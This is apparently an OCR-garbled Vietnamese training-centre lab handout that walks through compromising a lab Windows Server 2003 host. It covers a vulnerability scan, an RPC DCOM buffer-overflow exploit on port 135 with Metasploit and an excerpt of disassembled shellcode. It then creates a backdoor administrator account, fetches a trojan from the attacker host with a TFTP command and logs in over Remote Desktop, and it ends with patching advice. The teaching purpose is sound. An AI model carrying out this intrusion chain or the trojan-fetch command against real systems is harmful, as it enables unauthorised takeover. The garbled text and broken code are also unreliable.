lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc

1. G!O! TH!U v SYSTEN HACK!NG:

System hacking bao gm nhung ky thuat lay user 8 password nang quyn trong h
thng , su dung key logker d lay thng tin v di phuong hoac Hacker c th up Trojan
d m port d tan cng.
i vi phan lay thng tin username 8 password local , Hacker c th crack Password
nu su dung phan mm cai ln may d , hay su dung CD Boot Knoppix d lay syskey ,
buc tip theo la giai ma file Sam d lay Hash cua Account h thng .Hacker c th lay
username 8 password thng qua SNB, NTLN bang ky thuat sniffer (nghe ln trong
mang).
vi phan nang quyn trong h thng , Hacker c th su dung l hng cua Windows,
cac phan mm trong h thng nham lay quyn Admin d diu khin h thng.

2. TAN CONG NAY W!NDOWS SERvER 2003 THONG QUA LO! v OS 8
APPL!CAT!ONS:

Chung ta dung cac Tools d do tm cac thng tin v may tan cng
Bay gio chung ta dung Rentina Security Scanner Enterprise d scan nham muc dich lay
thng tin 8 cac bug li , cac port dang m tai may nan nan
Nay di phuong 192.168.1.210
Nay local 192.168.1.10

Cac buc do tm d xac dinh h diu hanh , cac bug li, cac port dang m
lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc




Kt qua do tm duoc tu may nan nhan 192.168.1.210

Report Summary

Scanner Name iSPACE Nachines Scanned 1
Scanner version 5.0.10.1076 vulnerabilities Total 11
Scan Start Date 3f18f2008 High Risk vulnerabilities 7
Scan Start Time 3:+7:13 PN
Nedium Risk
vulnerabilities
+

Scan Duration 0h 12m 58s Low Risk vulnerabilities 0
Scan Name Scanning !nformation only Audits 2
Scan Status Completed Credential Used iSPACE

Top 5 Most Vulnerable Hosts


Num. of Vulnerabilities By
Risk



% of Vulnerabilities By Risk



Avg. of Vulnerabilities By
Risk







lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



Kt qua do tm duoc tai may nan nhan:
Windows Server 2003
Top cac l hng nguy him nhat :
Windows RPC DCON interface buffer overflow
Windows RPC DCON multiple vulnerabilities
Apache 1.3.27 HTDigist Command Excution
Chung ta c th khai thac nhung li nay d lay command shell thng qua port 135
Bug li nay xay ra v Windows Sever 2003 nay chua duoc update hotfix 8 service pack
Phin ban web server apache 1.3.27 cung dang bi li , can phai update ln version mi.



Top nhung l hng nguy him





























lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



Top nhung port dang m may nan nhan

























Nhu vay da xac dinh duoc h diu hanh cua may 192.168.1.210 la Windows Server
2003 , cac port dang m , cac li cua h thng. ay la thng tin can thit d nhan din
li , va va li trong top nhung li nguy him nhat. Trong top nhung vulnerabilities ta se
khai thac li thu 7 Windows RPC DCOM interface buffer overflow su dung port 135











lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



Chung ta ln internet d tm doan code tan cng vao bug li nay, dung doan code bin
dich lai thanh file exe d chay.
oan code d khai thac bug li NS- windows DCON-RPC2 Universal Shellcode


















Su dung doan code nay bin dich thanh file .exe d chay hoac dung Neta Exploit c san
bug li d khai thac li nay (dui day la trich 1 phan cua doan code dung d lay shell).





















lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



ay la doan code dung d khai thac bug li (trich doan)












Qua trnh dang tin hanh lay command shell tu may 192.168.1.210 Windows Server
2003 bang Neta Exploits



























; Segment type: Pure code
;seg000 segment byte public 'CODE' use32
; assume cs:seg000
; assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
.386
assume cs:seg000
var_29C = byte ptr -29Ch
var_28C = byte ptr -28Ch
var_25F = byte ptr -25Fh
var_25+ = dword ptr -25+h
var_250 = dword ptr -250h
var_2+C = dword ptr -2+Ch

seg000 segment byte public 'CODE' use32

beginofpackeddata: ; CODE XREF: UnXORFunc17j
push ebp
mov ebp, esp
sub esp, 80h
mov esi, esp
call sub_191
push eax
mov eax, fs:18h
mov eax, eax30h
lea eax, eax18h
mov ebx, 190000h
mov eax, ebx
pop eax
mov esi, eax
push dword ptr esi
push 0E8AFE98h
call GetFunctionBYName ;WinExec
mov esi0Ch, eax
push dword ptr esi
push 73e2d87eh
call GetFunctionBYName ;ExitProcess
mov esi10h, eax

cn na
lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



Hoac c th su dung cng cu Neta exploit da c san bug li nay d tan cng vao may
nan nhan .
ay la qua trnh su dung meta exploit tan cng may nan nhan 192.168.1.210







































lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



Nhu vay , sau qua trnh tan cng chung ta da lay duoc command shell tai may nan
nhan, va cung da chim quyn diu khin h thng . Luc nay c th tao user trong h
thng , lam mi thu chung ta mun.
ay la da C: cua windows server 2003






































lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



Dung lnh tasklist tai command shell d show ra nhung services dang chay trn may
nan nhan








































lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



Bay gio ta se tao user nam trong h thng d remote tu xa vao.
Qua trnh tao user 8 nang quyn nham muc dich chim quyn diu khin h thng








































lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



Nang quyn cho user da tao nam trong group administrators cua h thng, nham muc
dich quan l h thng thng qua cac conection remote tu xa. v user nam trong group
administrator mi remote vao may duoc.







































lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



Khi da c user nam trong group administrator cua h thng, thc hin remote dn may
nan nhan , nhung tai may nay khng m port remote , phai up trojan ln d m port
Qua trnh remote khng thanh cng







































lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc



Bay gio ta su dung TFTP d up trojan ln may nan nhan nham muc dich m port d
remote desktop.
Qua trnh dung Cisco TFTP Server d up 1 con trojan ln m port remote desktop
TFTP i 192.168.1.10 Get c:trojan.vbs 192.168.1.210




























Start dich vu Telnet tu may nan nhan d connect vao chay trojan mi vua up ln




Dung ln dir d kim tra xem trojan c duoc up ln chua

lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc





Chay con trojan trong giao din console cua Telnet










Thc hin remote desktop bang user da tao
User : ispacehacking password : hacking




















lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc




Qua trnh remote thanh cng , da vao duoc may nan nhan thng qua remote desktop
Giao din windows server 2003



























3. KT LUN:
Phan mm scanning rat quan trng vi Hacker d c th phat hin li cua h thng. Sau
khi xac dinh li Hacker c th dung Neta Exploits c san hay code c san trn internet
d tan cng chim quyn diu khin may muc tiu. Nhung phan mm scanning cung la
cng cu huu ich cua Admin quan l h thng, giup Admin h thng danh gia muc d
bao mat cua h thng va kim tra cac bug li lin tuc xay ra.
+. CACH PHNG CHNG L! HACK!NG LOCAL
Thuong xuyn vao cac website securityfocus.com, microsoft.comftechnet d theo di
update cac bang hotfix va service pack cho h thng.
Lun update cac version mi cho applications trong may.
Su dung cng cu windows update c san d cap nhat cho h thng

lSACL l1 1ralnlng CenLer 137c nguyen Chl 1hanh SLr - ulsL 3 - PCMc